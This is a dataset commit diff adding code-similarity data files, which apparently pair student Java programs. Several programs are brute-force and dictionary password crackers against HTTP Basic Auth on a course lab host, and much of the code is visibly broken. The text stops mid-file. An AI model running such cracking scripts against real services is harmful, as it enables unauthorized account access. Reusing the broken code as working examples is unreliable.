Upload 8 files
Browse files- .gitattributes +2 -0
- Quora_SIM/classification_dataset_train.csv +3 -0
- Quora_SIM/classification_dataset_val.csv +3 -0
- Quora_SIM/corpus_dataset_train.csv +0 -0
- Quora_SIM/corpus_dataset_val.csv +0 -0
- Quora_SIM/derived_dataset_1_train.csv +60 -0
- Quora_SIM/derived_dataset_1_val.csv +26 -0
- Quora_SIM/derived_dataset_3_train.tsv +0 -0
- Quora_SIM/derived_dataset_3_val.tsv +2613 -0
.gitattributes
CHANGED
@@ -53,3 +53,5 @@ saved_model/**/* filter=lfs diff=lfs merge=lfs -text
|
|
53 |
*.jpg filter=lfs diff=lfs merge=lfs -text
|
54 |
*.jpeg filter=lfs diff=lfs merge=lfs -text
|
55 |
*.webp filter=lfs diff=lfs merge=lfs -text
|
|
|
|
|
|
53 |
*.jpg filter=lfs diff=lfs merge=lfs -text
|
54 |
*.jpeg filter=lfs diff=lfs merge=lfs -text
|
55 |
*.webp filter=lfs diff=lfs merge=lfs -text
|
56 |
+
Quora_SIM/classification_dataset_train.csv filter=lfs diff=lfs merge=lfs -text
|
57 |
+
Quora_SIM/classification_dataset_val.csv filter=lfs diff=lfs merge=lfs -text
|
Quora_SIM/classification_dataset_train.csv
ADDED
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
1 |
+
version https://git-lfs.github.com/spec/v1
|
2 |
+
oid sha256:95f1150c30c6de6b573f8790314c7d1f300d5845dbcff784abd29cf28d795bc8
|
3 |
+
size 184464799
|
Quora_SIM/classification_dataset_val.csv
ADDED
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
1 |
+
version https://git-lfs.github.com/spec/v1
|
2 |
+
oid sha256:897e9c7dc20cdf6678299cfce797190fa0d87201e0841b2a36d1c25380fccc2c
|
3 |
+
size 79738347
|
Quora_SIM/corpus_dataset_train.csv
ADDED
The diff for this file is too large to render.
See raw diff
|
|
Quora_SIM/corpus_dataset_val.csv
ADDED
The diff for this file is too large to render.
See raw diff
|
|
Quora_SIM/derived_dataset_1_train.csv
ADDED
@@ -0,0 +1,60 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
F1,F2
|
2 |
+
218.java,195.java
|
3 |
+
086.java,242.java
|
4 |
+
216.java,211.java
|
5 |
+
224.java,221.java
|
6 |
+
190.java,188.java
|
7 |
+
017.java,022.java
|
8 |
+
258.java,257.java
|
9 |
+
105.java,103.java
|
10 |
+
243.java,087.java
|
11 |
+
258.java,048.java
|
12 |
+
150.java,148.java
|
13 |
+
250.java,159.java
|
14 |
+
140.java,142.java
|
15 |
+
106.java,111.java
|
16 |
+
216.java,061.java
|
17 |
+
024.java,016.java
|
18 |
+
182.java,181.java
|
19 |
+
243.java,155.java
|
20 |
+
059.java,159.java
|
21 |
+
250.java,059.java
|
22 |
+
153.java,155.java
|
23 |
+
033.java,034.java
|
24 |
+
051.java,183.java
|
25 |
+
258.java,185.java
|
26 |
+
233.java,232.java
|
27 |
+
049.java,050.java
|
28 |
+
113.java,112.java
|
29 |
+
090.java,089.java
|
30 |
+
003.java,004.java
|
31 |
+
087.java,155.java
|
32 |
+
107.java,108.java
|
33 |
+
212.java,101.java
|
34 |
+
257.java,048.java
|
35 |
+
246.java,244.java
|
36 |
+
006.java,005.java
|
37 |
+
051.java,048.java
|
38 |
+
070.java,069.java
|
39 |
+
107.java,112.java
|
40 |
+
193.java,191.java
|
41 |
+
043.java,251.java
|
42 |
+
145.java,143.java
|
43 |
+
023.java,015.java
|
44 |
+
137.java,171.java
|
45 |
+
202.java,208.java
|
46 |
+
052.java,053.java
|
47 |
+
062.java,064.java
|
48 |
+
086.java,222.java
|
49 |
+
047.java,045.java
|
50 |
+
258.java,059.java
|
51 |
+
087.java,242.java
|
52 |
+
183.java,185.java
|
53 |
+
008.java,010.java
|
54 |
+
048.java,183.java
|
55 |
+
084.java,085.java
|
56 |
+
119.java,117.java
|
57 |
+
243.java,242.java
|
58 |
+
094.java,098.java
|
59 |
+
235.java,237.java
|
60 |
+
258.java,183.java
|
Quora_SIM/derived_dataset_1_val.csv
ADDED
@@ -0,0 +1,26 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
F1,F2
|
2 |
+
136.java,173.java
|
3 |
+
146.java,147.java
|
4 |
+
086.java,155.java
|
5 |
+
158.java,161.java
|
6 |
+
108.java,113.java
|
7 |
+
079.java,078.java
|
8 |
+
201.java,209.java
|
9 |
+
051.java,257.java
|
10 |
+
108.java,112.java
|
11 |
+
133.java,131.java
|
12 |
+
183.java,059.java
|
13 |
+
086.java,087.java
|
14 |
+
021.java,014.java
|
15 |
+
051.java,258.java
|
16 |
+
030.java,032.java
|
17 |
+
175.java,180.java
|
18 |
+
238.java,240.java
|
19 |
+
153.java,222.java
|
20 |
+
222.java,087.java
|
21 |
+
107.java,113.java
|
22 |
+
044.java,042.java
|
23 |
+
222.java,155.java
|
24 |
+
228.java,230.java
|
25 |
+
174.java,135.java
|
26 |
+
086.java,243.java
|
Quora_SIM/derived_dataset_3_train.tsv
ADDED
The diff for this file is too large to render.
See raw diff
|
|
Quora_SIM/derived_dataset_3_val.tsv
ADDED
@@ -0,0 +1,2613 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|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
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
F1 text_1 related_pairs
|
2 |
+
136.java "
|
3 |
+
|
4 |
+
|
5 |
+
|
6 |
+
|
7 |
+
|
8 |
+
import java.util.*;
|
9 |
+
import java.io.*;
|
10 |
+
import java.net.*;
|
11 |
+
|
12 |
+
public class MyWatchDogTimer extends TimerTask
|
13 |
+
{
|
14 |
+
public void run()
|
15 |
+
{
|
16 |
+
Runtime rt = Runtime.getRuntime();
|
17 |
+
Process prss= null;
|
18 |
+
String initialmd5,presentmd5,finalmd5,temp1;
|
19 |
+
String mesg1 = new String();
|
20 |
+
String subject = new String(""Report of WatchDog"");
|
21 |
+
|
22 |
+
int i;
|
23 |
+
|
24 |
+
try
|
25 |
+
{
|
26 |
+
|
27 |
+
prss = rt.exec(""md5sum first.html"");
|
28 |
+
|
29 |
+
InputStreamReader instre1 = new InputStreamReader(prss.getInputStream());
|
30 |
+
BufferedReader bufread1 = new BufferedReader(instre1);
|
31 |
+
|
32 |
+
sw = bufread1.readLine();
|
33 |
+
i = finalmd5.indexOf(' ');
|
34 |
+
initialmd5 = finalmd5.substring(0,i);
|
35 |
+
System.out.println(""this is of first.html--->""+initialmd5);
|
36 |
+
|
37 |
+
|
38 |
+
|
39 |
+
prss = rt.exec(""wget -R mpg,mpeg, --output-document=present.html http://www.cs.rmit.edu./students/"");
|
40 |
+
|
41 |
+
|
42 |
+
prss = rt.exec(""md5sum present.html"");
|
43 |
+
|
44 |
+
InputStreamReader instre2 = new InputStreamReader(prss.getInputStream());
|
45 |
+
BufferedReader bufread2 = new BufferedReader(instre2);
|
46 |
+
|
47 |
+
temp1 = bufread2.readLine();
|
48 |
+
i = temp1.indexOf(' ');
|
49 |
+
presentmd5 = temp1.substring(0,i);
|
50 |
+
System.out.println(""this is of present.html---->""+presentmd5);
|
51 |
+
|
52 |
+
|
53 |
+
if(initialmd5.equals(presentmd5))
|
54 |
+
System.out.println(""The checksum found using md5sum is same"");
|
55 |
+
else
|
56 |
+
{
|
57 |
+
prss = rt.exec(""diff first.html present.html > diff.html"");
|
58 |
+
System.out.println("" is different"");
|
59 |
+
prss = null;
|
60 |
+
mesg1 =""php mail.php"";
|
61 |
+
prss = rt.exec(mesg1);
|
62 |
+
}
|
63 |
+
|
64 |
+
prss = rt.exec(""rm present.*"");
|
65 |
+
|
66 |
+
}catch(java.io.IOException e){}
|
67 |
+
|
68 |
+
}
|
69 |
+
}
|
70 |
+
" 173.java
|
71 |
+
146.java "import java.net.*;
|
72 |
+
import java.util.*;
|
73 |
+
|
74 |
+
public class BruteForce {
|
75 |
+
|
76 |
+
public static void main(String[] args) {
|
77 |
+
new CrackAttempt();
|
78 |
+
}
|
79 |
+
}
|
80 |
+
|
81 |
+
class CrackAttempt {
|
82 |
+
public CrackAttempt() {
|
83 |
+
final int MAX_LENGTH = 3;
|
84 |
+
boolean auth = false;
|
85 |
+
Date = new Date();
|
86 |
+
boolean morePasswords = true;
|
87 |
+
int passPtr = 0;
|
88 |
+
StringBuffer validChars = new StringBuffer(""abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"");
|
89 |
+
char[] password = new char[MAX_LENGTH];
|
90 |
+
|
91 |
+
password[0] = validChars.charAt(0);
|
92 |
+
while (!auth && morePasswords) {
|
93 |
+
String resource = ""http://sec-crack.cs.rmit.edu./SEC/2/"";
|
94 |
+
try {
|
95 |
+
|
96 |
+
Authenticator.setDefault(new CrackAuth(password));
|
97 |
+
URL url = new URL(resource);
|
98 |
+
HttpURLConnection conn = (HttpURLConnection)url.openConnection();
|
99 |
+
conn.setRequestMethod(""HEAD"");
|
100 |
+
if (conn.getResponseCode() == HttpURLConnection.HTTP_OK) {
|
101 |
+
System.out.println(""cracked with "" + new String(password));
|
102 |
+
auth = true;
|
103 |
+
}
|
104 |
+
} catch (Exception e) {
|
105 |
+
System.out.println("" was exception: "" + e.getMessage());
|
106 |
+
}
|
107 |
+
int count = passPtr;
|
108 |
+
while (true) {
|
109 |
+
if (password[count] == validChars.charAt(validChars.length() - 1)) {
|
110 |
+
password[count] = validChars.charAt(0);
|
111 |
+
count--;
|
112 |
+
} else {
|
113 |
+
password[count] = validChars.charAt(validChars.indexOf(String.valueOf(password[count])) + 1);
|
114 |
+
break;
|
115 |
+
}
|
116 |
+
if (count < 0) {
|
117 |
+
|
118 |
+
if (passPtr < MAX_LENGTH - 1) {
|
119 |
+
passPtr++;
|
120 |
+
password[passPtr] = validChars.charAt(0);
|
121 |
+
} else {
|
122 |
+
morePasswords = false;
|
123 |
+
}
|
124 |
+
break;
|
125 |
+
}
|
126 |
+
}
|
127 |
+
|
128 |
+
}
|
129 |
+
if (!auth) {
|
130 |
+
System.out.println(""Unable determine password"");
|
131 |
+
} else {
|
132 |
+
time = (new Date()).getTime() - start.getTime();
|
133 |
+
System.out.println(""it took "" + String.valueOf(time) + "" milliseconds crack the password"");
|
134 |
+
}
|
135 |
+
}
|
136 |
+
}
|
137 |
+
|
138 |
+
class CrackAuth extends Authenticator {
|
139 |
+
char[] password;
|
140 |
+
public CrackAuth(char[] password) {
|
141 |
+
this.password = password;
|
142 |
+
}
|
143 |
+
|
144 |
+
protected PasswordAuthentication getPasswordAuthentication()
|
145 |
+
{
|
146 |
+
String user = """";
|
147 |
+
return new PasswordAuthentication(user, password);
|
148 |
+
}
|
149 |
+
}
|
150 |
+
" 147.java
|
151 |
+
086.java "import java.net.*;
|
152 |
+
import java.io.*;
|
153 |
+
import java.*;
|
154 |
+
|
155 |
+
public class BruteForce {
|
156 |
+
|
157 |
+
URLConnection conn = null;
|
158 |
+
private static boolean status = false;
|
159 |
+
|
160 |
+
public static void main (String args[]){
|
161 |
+
BruteForce a = new BruteForce();
|
162 |
+
String[] inp = {""http://sec-crack.cs.rmit.edu./SEC/2/index.php"",
|
163 |
+
"""",
|
164 |
+
""""};
|
165 |
+
int attempts = 0;
|
166 |
+
exit:
|
167 |
+
for (int i=0;i<pwdArray.length;i++) {
|
168 |
+
for (int j=0;j<pwdArray.length;j++) {
|
169 |
+
for (int k=0;k<pwdArray.length;k++) {
|
170 |
+
if (pwdArray[i] == ' ' && pwdArray[j] != ' ') continue;
|
171 |
+
if (pwdArray[j] == ' ' && pwdArray[k] != ' ') continue;
|
172 |
+
inp[2] = inp[2] + pwdArray[i] + pwdArray[j] + pwdArray[k];
|
173 |
+
attempts++;
|
174 |
+
a.doit(inp);
|
175 |
+
|
176 |
+
if (status) {
|
177 |
+
System.out.println(""Crrect password is: "" + inp[2]);
|
178 |
+
System.out.println(""Number of attempts = "" + attempts);
|
179 |
+
break exit;
|
180 |
+
}
|
181 |
+
inp[2] = """";
|
182 |
+
}
|
183 |
+
}
|
184 |
+
}
|
185 |
+
}
|
186 |
+
|
187 |
+
public void doit(String args[]) {
|
188 |
+
|
189 |
+
try {
|
190 |
+
BufferedReader in = new BufferedReader(
|
191 |
+
new InputStreamReader
|
192 |
+
(connectURL(new URL(args[0]), args[1], args[2])));
|
193 |
+
String line;
|
194 |
+
while ((line = in.readLine()) != null) {
|
195 |
+
System.out.println(line);
|
196 |
+
status = true;
|
197 |
+
}
|
198 |
+
}
|
199 |
+
catch (IOException e) {
|
200 |
+
|
201 |
+
}
|
202 |
+
}
|
203 |
+
|
204 |
+
public InputStream connectURL (URL url, String uname, String pword)
|
205 |
+
throws IOException {
|
206 |
+
conn = url.openConnection();
|
207 |
+
conn.setRequestProperty (""Authorization"",
|
208 |
+
userNamePasswordBase64(uname,pword));
|
209 |
+
conn.connect ();
|
210 |
+
return conn.getInputStream();
|
211 |
+
}
|
212 |
+
|
213 |
+
public String userNamePasswordBase64(String username, String password) {
|
214 |
+
return "" "" + base64Encode (username + "":"" + password);
|
215 |
+
}
|
216 |
+
|
217 |
+
private final static char pwdArray [] = {
|
218 |
+
'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h',
|
219 |
+
'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p',
|
220 |
+
'q', 'r', 's', 't', 'u', 'v', 'w', 'x',
|
221 |
+
'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F',
|
222 |
+
'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N',
|
223 |
+
'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V',
|
224 |
+
'W', 'X', 'Y', 'Z', ' '
|
225 |
+
};
|
226 |
+
|
227 |
+
private final static char base64Array [] = {
|
228 |
+
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
|
229 |
+
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
|
230 |
+
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
|
231 |
+
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
|
232 |
+
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
|
233 |
+
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
|
234 |
+
'w', 'x', 'y', 'z', '0', '1', '2', '3',
|
235 |
+
'4', '5', '6', '7', '8', '9', '+', '/'
|
236 |
+
};
|
237 |
+
|
238 |
+
private static String base64Encode (String string) {
|
239 |
+
String encodedString = """";
|
240 |
+
byte bytes [] = string.getBytes ();
|
241 |
+
int i = 0;
|
242 |
+
int pad = 0;
|
243 |
+
while (i < bytes.length) {
|
244 |
+
byte b1 = bytes [i++];
|
245 |
+
byte b2;
|
246 |
+
byte b3;
|
247 |
+
if (i >= bytes.length) {
|
248 |
+
b2 = 0;
|
249 |
+
b3 = 0;
|
250 |
+
pad = 2;
|
251 |
+
}
|
252 |
+
else {
|
253 |
+
b2 = bytes [i++];
|
254 |
+
if (i >= bytes.length) {
|
255 |
+
b3 = 0;
|
256 |
+
pad = 1;
|
257 |
+
}
|
258 |
+
else
|
259 |
+
b3 = bytes [i++];
|
260 |
+
}
|
261 |
+
byte c1 = (byte)(b1 >> 2);
|
262 |
+
byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
|
263 |
+
byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
|
264 |
+
byte c4 = (byte)(b3 & 0x3f);
|
265 |
+
encodedString += base64Array [c1];
|
266 |
+
encodedString += base64Array [c2];
|
267 |
+
switch (pad) {
|
268 |
+
case 0:
|
269 |
+
encodedString += base64Array [c3];
|
270 |
+
encodedString += base64Array [c4];
|
271 |
+
break;
|
272 |
+
case 1:
|
273 |
+
encodedString += base64Array [c3];
|
274 |
+
encodedString += ""="";
|
275 |
+
break;
|
276 |
+
case 2:
|
277 |
+
encodedString += ""=="";
|
278 |
+
break;
|
279 |
+
}
|
280 |
+
}
|
281 |
+
return encodedString;
|
282 |
+
}
|
283 |
+
}
|
284 |
+
|
285 |
+
" "155.java 087.java 243.java"
|
286 |
+
158.java "
|
287 |
+
import java.net.*;
|
288 |
+
import java.io.*;
|
289 |
+
|
290 |
+
|
291 |
+
public class BruteForce {
|
292 |
+
|
293 |
+
public static void main(String args[])
|
294 |
+
{
|
295 |
+
int i,j,k;
|
296 |
+
String pass = new String();
|
297 |
+
String UserPass = new String();
|
298 |
+
String status = new String();
|
299 |
+
String status1 = new String();
|
300 |
+
BasicAuth auth = new BasicAuth();
|
301 |
+
URLConnection connect;
|
302 |
+
int start,end,diff;
|
303 |
+
|
304 |
+
try {
|
305 |
+
URL url = new URL (""http://sec-crack.cs.rmit.edu./SEC/2/"");
|
306 |
+
|
307 |
+
start =System.currentTimeMillis();
|
308 |
+
|
309 |
+
|
310 |
+
DataInputStream dis ;
|
311 |
+
|
312 |
+
for (i=0;i<=58;i++)
|
313 |
+
{
|
314 |
+
|
315 |
+
for (j=0;j<=58;j++)
|
316 |
+
{
|
317 |
+
|
318 |
+
for (k=1;k<=58;k++)
|
319 |
+
{
|
320 |
+
|
321 |
+
|
322 |
+
|
323 |
+
|
324 |
+
if (i !=0)
|
325 |
+
{
|
326 |
+
|
327 |
+
|
328 |
+
pass = """" + (char)(k+64) + (char)(j+65) + (char)(i+64);
|
329 |
+
|
330 |
+
if ((i+64) >=91 && (i+64) <=96)
|
331 |
+
break;
|
332 |
+
|
333 |
+
if ((j+65) >=91 && (j+65) <=96)
|
334 |
+
break;
|
335 |
+
|
336 |
+
if ((k+64) >=91 && (k+64) <=96)
|
337 |
+
continue;
|
338 |
+
|
339 |
+
|
340 |
+
UserPass= auth.encode("""",pass);
|
341 |
+
|
342 |
+
connect = url.openConnection();
|
343 |
+
connect.setDoInput(true);
|
344 |
+
connect.setDoOutput(true);
|
345 |
+
|
346 |
+
connect.setRequestProperty(""Host"",""sec-crack.cs.rmit.edu."");
|
347 |
+
connect.setRequestProperty(""Get"",""/SEC/2/ HTTP/1.1"");
|
348 |
+
connect.setRequestProperty(""Authorization"","" "" + UserPass);
|
349 |
+
connect.connect();
|
350 |
+
|
351 |
+
status =connect.getHeaderField(0);
|
352 |
+
status1 = status.substring( 9,12);
|
353 |
+
|
354 |
+
if (status.equalsIgnoreCase(""HTTP/1.1 200 OK""))
|
355 |
+
{
|
356 |
+
System.out.println(""Password is "" + pass);
|
357 |
+
end=System.currentTimeMillis();
|
358 |
+
diff= end - start;
|
359 |
+
System.out.println(""Time Taken = "" + (diff/1000) + "" sec"" );
|
360 |
+
System.exit(0);
|
361 |
+
}
|
362 |
+
((HttpURLConnection)connect).disconnect();
|
363 |
+
connect = null;
|
364 |
+
}
|
365 |
+
|
366 |
+
|
367 |
+
|
368 |
+
|
369 |
+
}
|
370 |
+
}
|
371 |
+
}
|
372 |
+
|
373 |
+
System.out.println("" match found"");
|
374 |
+
connect = null;
|
375 |
+
|
376 |
+
}
|
377 |
+
|
378 |
+
catch (MalformedURLException malerr)
|
379 |
+
{
|
380 |
+
System.err.println(""Unable Open URL"" + malerr);
|
381 |
+
}
|
382 |
+
|
383 |
+
catch (Exception ioerr)
|
384 |
+
{
|
385 |
+
System.err.println(""Unable retrive URL"" + ioerr);
|
386 |
+
}
|
387 |
+
|
388 |
+
|
389 |
+
|
390 |
+
|
391 |
+
}
|
392 |
+
}" 161.java
|
393 |
+
108.java "
|
394 |
+
|
395 |
+
|
396 |
+
|
397 |
+
|
398 |
+
import java.io.InputStream;
|
399 |
+
import java.util.Properties;
|
400 |
+
|
401 |
+
import javax.naming.Context;
|
402 |
+
import javax.naming.InitialContext;
|
403 |
+
import javax.rmi.PortableRemoteObject;
|
404 |
+
import javax.sql.DataSource;
|
405 |
+
|
406 |
+
|
407 |
+
|
408 |
+
public class DictionaryPropertyHelper {
|
409 |
+
|
410 |
+
private static Properties dictProps;
|
411 |
+
|
412 |
+
|
413 |
+
|
414 |
+
public DictionaryPropertyHelper() {
|
415 |
+
}
|
416 |
+
|
417 |
+
|
418 |
+
|
419 |
+
public static String getProperty(String pKey){
|
420 |
+
try{
|
421 |
+
initProps();
|
422 |
+
}
|
423 |
+
catch(Exception e){
|
424 |
+
System.err.println(""Error init'ing the dictionary Props"");
|
425 |
+
e.printStackTrace();
|
426 |
+
}
|
427 |
+
return dictProps.getProperty(pKey);
|
428 |
+
}
|
429 |
+
|
430 |
+
|
431 |
+
private static void initProps() throws Exception{
|
432 |
+
if(dictProps == null){
|
433 |
+
dictProps = new Properties();
|
434 |
+
|
435 |
+
InputStream fis =
|
436 |
+
DictionaryPropertyHelper.class.getResourceAsStream(""/dictionary.properties"");
|
437 |
+
dictProps.load(fis);
|
438 |
+
}
|
439 |
+
}
|
440 |
+
}
|
441 |
+
|
442 |
+
" "113.java 112.java"
|
443 |
+
079.java "import java.util.*;
|
444 |
+
import java.net.*;
|
445 |
+
import java.io.*;
|
446 |
+
|
447 |
+
public class Dictionary
|
448 |
+
{
|
449 |
+
boolean connected = false;
|
450 |
+
int counter;
|
451 |
+
|
452 |
+
Vector words = new Vector();
|
453 |
+
|
454 |
+
Dictionary()
|
455 |
+
{
|
456 |
+
counter = 0;
|
457 |
+
this.readWords();
|
458 |
+
this.startAttack();
|
459 |
+
}
|
460 |
+
|
461 |
+
public void startAttack()
|
462 |
+
{
|
463 |
+
while(counter<this.words.size())
|
464 |
+
{
|
465 |
+
connected = sendRequest();
|
466 |
+
if(connected == true)
|
467 |
+
{
|
468 |
+
System.out.print(""The password is: "");
|
469 |
+
System.out.println((String)words.elementAt(counter-1));
|
470 |
+
counter = words.size();
|
471 |
+
}
|
472 |
+
}
|
473 |
+
}
|
474 |
+
|
475 |
+
|
476 |
+
public void readWords()
|
477 |
+
{
|
478 |
+
String line;
|
479 |
+
|
480 |
+
try
|
481 |
+
{
|
482 |
+
BufferedReader buffer = new BufferedReader(
|
483 |
+
new FileReader(""/usr/share/lib/dict/words""));
|
484 |
+
|
485 |
+
line = buffer.readLine();
|
486 |
+
|
487 |
+
while(line != null)
|
488 |
+
{
|
489 |
+
|
490 |
+
if(line.length() <= 3)
|
491 |
+
{
|
492 |
+
words.addElement(line);
|
493 |
+
}
|
494 |
+
|
495 |
+
line = buffer.readLine();
|
496 |
+
}
|
497 |
+
}
|
498 |
+
catch(IOException e){}
|
499 |
+
}
|
500 |
+
|
501 |
+
public boolean sendRequest()
|
502 |
+
{
|
503 |
+
Authenticator.setDefault (new MyAuthenticator ());
|
504 |
+
try
|
505 |
+
{
|
506 |
+
|
507 |
+
URL url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/"");
|
508 |
+
HttpURLConnection urlConn = (HttpURLConnection)url.openConnection();
|
509 |
+
urlConn.connect();
|
510 |
+
if(urlConn.getResponseMessage().equalsIgnoreCase(""OK""))
|
511 |
+
{
|
512 |
+
return true;
|
513 |
+
}
|
514 |
+
|
515 |
+
}
|
516 |
+
catch (IOException e) {}
|
517 |
+
|
518 |
+
return false;
|
519 |
+
}
|
520 |
+
|
521 |
+
public static void main(String [] args)
|
522 |
+
{
|
523 |
+
Dictionary dictionary = new Dictionary();
|
524 |
+
}
|
525 |
+
|
526 |
+
|
527 |
+
class MyAuthenticator extends Authenticator {
|
528 |
+
|
529 |
+
protected PasswordAuthentication getPasswordAuthentication() {
|
530 |
+
String username = """";
|
531 |
+
String password = (String)words.elementAt(counter);
|
532 |
+
counter++;
|
533 |
+
return new PasswordAuthentication(username, password.toCharArray());
|
534 |
+
}
|
535 |
+
}
|
536 |
+
}
|
537 |
+
" 078.java
|
538 |
+
201.java "
|
539 |
+
import java.net.*;
|
540 |
+
import java.io.*;
|
541 |
+
import java.Ostermiller.util.*;
|
542 |
+
import java.util.*;
|
543 |
+
|
544 |
+
public class MyClient1 implements Runnable
|
545 |
+
{
|
546 |
+
private String hostname;
|
547 |
+
private int port;
|
548 |
+
private String filename;
|
549 |
+
private Socket s;
|
550 |
+
private int n;
|
551 |
+
private InputStream sin;
|
552 |
+
private OutputStream sout;
|
553 |
+
private int dif;
|
554 |
+
private String myPassword;
|
555 |
+
private int status;
|
556 |
+
private int myTime;
|
557 |
+
private Dictionary myMaster;
|
558 |
+
|
559 |
+
|
560 |
+
public MyClient1(Dictionary dic, int num, int myPort, String password)
|
561 |
+
{
|
562 |
+
|
563 |
+
hostname = new String(""sec-crack.cs.rmit.edu."");
|
564 |
+
port = myPort;
|
565 |
+
status = 0;
|
566 |
+
myTime = 0;
|
567 |
+
myPassword = password;
|
568 |
+
filename = new String(""/SEC/2/"");
|
569 |
+
myMaster = 0;
|
570 |
+
n = num;
|
571 |
+
dif = 0;
|
572 |
+
|
573 |
+
}
|
574 |
+
public getDif()
|
575 |
+
{
|
576 |
+
return dif;
|
577 |
+
}
|
578 |
+
public int getStatus()
|
579 |
+
{
|
580 |
+
return status;
|
581 |
+
}
|
582 |
+
public void run()
|
583 |
+
{
|
584 |
+
String inputLine;
|
585 |
+
String[] tokens = new String[5];
|
586 |
+
int i;
|
587 |
+
myTime = 0;
|
588 |
+
finish = 0;
|
589 |
+
start = System.currentTimeMillis();
|
590 |
+
try
|
591 |
+
{
|
592 |
+
s = new Socket( hostname, port);
|
593 |
+
}catch( UnknownHostException e)
|
594 |
+
{
|
595 |
+
System.out.println(""'t find host"");
|
596 |
+
}catch( IOException e)
|
597 |
+
{
|
598 |
+
System.out.println(""Error connecting host ""+n);
|
599 |
+
return;
|
600 |
+
}
|
601 |
+
while(s.isConnected() == false)
|
602 |
+
continue;
|
603 |
+
|
604 |
+
finish = System.currentTimeMillis();
|
605 |
+
dif = finish - start;
|
606 |
+
|
607 |
+
try
|
608 |
+
{
|
609 |
+
sin = s.getInputStream();
|
610 |
+
}catch( IOException e)
|
611 |
+
{
|
612 |
+
System.out.println(""'t open stream"");
|
613 |
+
}
|
614 |
+
BufferedReader fromServer = new BufferedReader(new InputStreamReader( ));
|
615 |
+
try
|
616 |
+
{
|
617 |
+
sout = s.getOutputStream();
|
618 |
+
}catch( IOException e)
|
619 |
+
{
|
620 |
+
System.out.println(""'t open stream"");
|
621 |
+
}
|
622 |
+
|
623 |
+
PrintWriter toServer = new PrintWriter( new OutputStreamWriter( sout));
|
624 |
+
toServer.print(""GET ""+filename+"" HTTP/1.0\r\n""+""Authorization: ""+Base64.encode(""""+"":""+myPassword)+""\r\n\r\n"");
|
625 |
+
toServer.flush();
|
626 |
+
|
627 |
+
try
|
628 |
+
{
|
629 |
+
inputLine = fromServer.readLine();
|
630 |
+
}catch( IOException e)
|
631 |
+
{
|
632 |
+
System.out.println(""'t open stream"");
|
633 |
+
inputLine = null;
|
634 |
+
}
|
635 |
+
|
636 |
+
java.util.StringTokenizer = new java.util.StringTokenizer( inputLine, "" "");
|
637 |
+
i = 0;
|
638 |
+
while(bf.hasMoreTokens())
|
639 |
+
{
|
640 |
+
tokens[i] =bf .nextToken();
|
641 |
+
i++;
|
642 |
+
}
|
643 |
+
status = Integer.parseInt( tokens[1]);
|
644 |
+
myTime = System.currentTimeMillis();
|
645 |
+
if( status == 200)
|
646 |
+
{
|
647 |
+
System.out.println(""Ok ""+myPassword);
|
648 |
+
myMaster.retire( this);
|
649 |
+
}
|
650 |
+
|
651 |
+
toServer.send();
|
652 |
+
try
|
653 |
+
{
|
654 |
+
fromServer.recieve();
|
655 |
+
}catch( IOException e)
|
656 |
+
{
|
657 |
+
System.out.println(""'t open stream"");
|
658 |
+
}
|
659 |
+
try
|
660 |
+
{
|
661 |
+
s.connect();
|
662 |
+
}catch( IOException e)
|
663 |
+
{
|
664 |
+
System.out.println(""'t connection"");
|
665 |
+
System.exit(0);
|
666 |
+
}
|
667 |
+
}
|
668 |
+
public getTime()
|
669 |
+
{
|
670 |
+
return myTime;
|
671 |
+
}
|
672 |
+
|
673 |
+
}
|
674 |
+
" 209.java
|
675 |
+
051.java "import java.io.*;
|
676 |
+
import java.net.*;
|
677 |
+
import java.*;
|
678 |
+
import java.Runtime.*;
|
679 |
+
import java.Object.*;
|
680 |
+
import java.util.*;
|
681 |
+
import java.util.StringTokenizer;
|
682 |
+
|
683 |
+
public class Dictionary
|
684 |
+
{
|
685 |
+
String uname = """";
|
686 |
+
String pword = ""null"";
|
687 |
+
Vector v = new Vector();
|
688 |
+
int runTime;
|
689 |
+
public void doConnect(String connect, int num)
|
690 |
+
{
|
691 |
+
String = connect;
|
692 |
+
|
693 |
+
try
|
694 |
+
{
|
695 |
+
URL secureSite = new URL();
|
696 |
+
URLConnection connection = secureSite.openConnection();
|
697 |
+
if (uname != null || pword != null)
|
698 |
+
{
|
699 |
+
|
700 |
+
for(int i=num; i<v.size(); i++)
|
701 |
+
{
|
702 |
+
pword = (String)v.elementAt(i);
|
703 |
+
String up = uname + "":"" + pword;
|
704 |
+
String encoding;
|
705 |
+
try
|
706 |
+
{
|
707 |
+
